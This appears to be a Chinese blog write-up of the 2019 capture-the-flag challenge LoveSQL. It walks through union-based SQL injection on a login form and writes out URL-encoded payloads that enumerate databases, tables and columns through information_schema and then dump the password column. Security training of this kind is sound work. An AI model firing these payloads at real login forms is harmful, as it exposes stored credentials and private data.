[极客大挑战 2019]LoveSQL
2024-08-28 03:33:16
0x00 知识点
1:万能密码登陆
2:登陆后直接使用联合查询注入
0x01解题
登陆后进行简单测试发现是字符型注入
order by 测试数据库有多少字段
发现在4的时候报错,没有过滤,直接进行注入
注入数据库:
admin'union+select+1,2,group_concat(schema_name)+from+information_schema.schemata#
查询数据表
username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%3Ddatabase()%20%23
```![](https://img2018.cnblogs.com/blog/1625650/202001/1625650-20200127203623412-351579050.png)
**查询数据表中的列:**
username=admin&password=admin%27%20union%20select%201%2C2%2Cgroup_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%3Ddatabase()%20%23
**查询数据**
username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(password)%20from%20l0ve1ysq1%23
**查看源代码得到flag.**
最新文章
- Unity中使用Attribute
- JavaScript作用域原理(三)——作用域根据函数划分
- HDU 5033 Building
- linux装载可执行程序简析
- C#通过代码注册COM组件
- Xcode中的iOS工程模板
- storm实战总结笔记
- dfs学习总结
- 你不知道的JavaScript--Item27 异步编程异常解决方案
- pytroch 0.3 到 0.4版本迁移资料mark
- C#中,重新排列panel中的按钮
- Illegalmixofcollations (utf8_unicode_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT)foroperation '= 连表查询排序规则问题
- UML介绍--用例图
- stm32的swd接口的烧写协议是否公开的呢?
- GVIM设置背景颜色
- js小工具---本地图片转换为base64编码数据
- [LeetCode 题解]: ZigZag Conversion
- InternalError: (pymysql.err.InternalError) (1205, u'Lock wait timeout exceeded; try restarting transaction')
- 浏览器 UserAgent
- 分享知识-快乐自己:Liunx-大数据(Hadoop)初始化环境搭建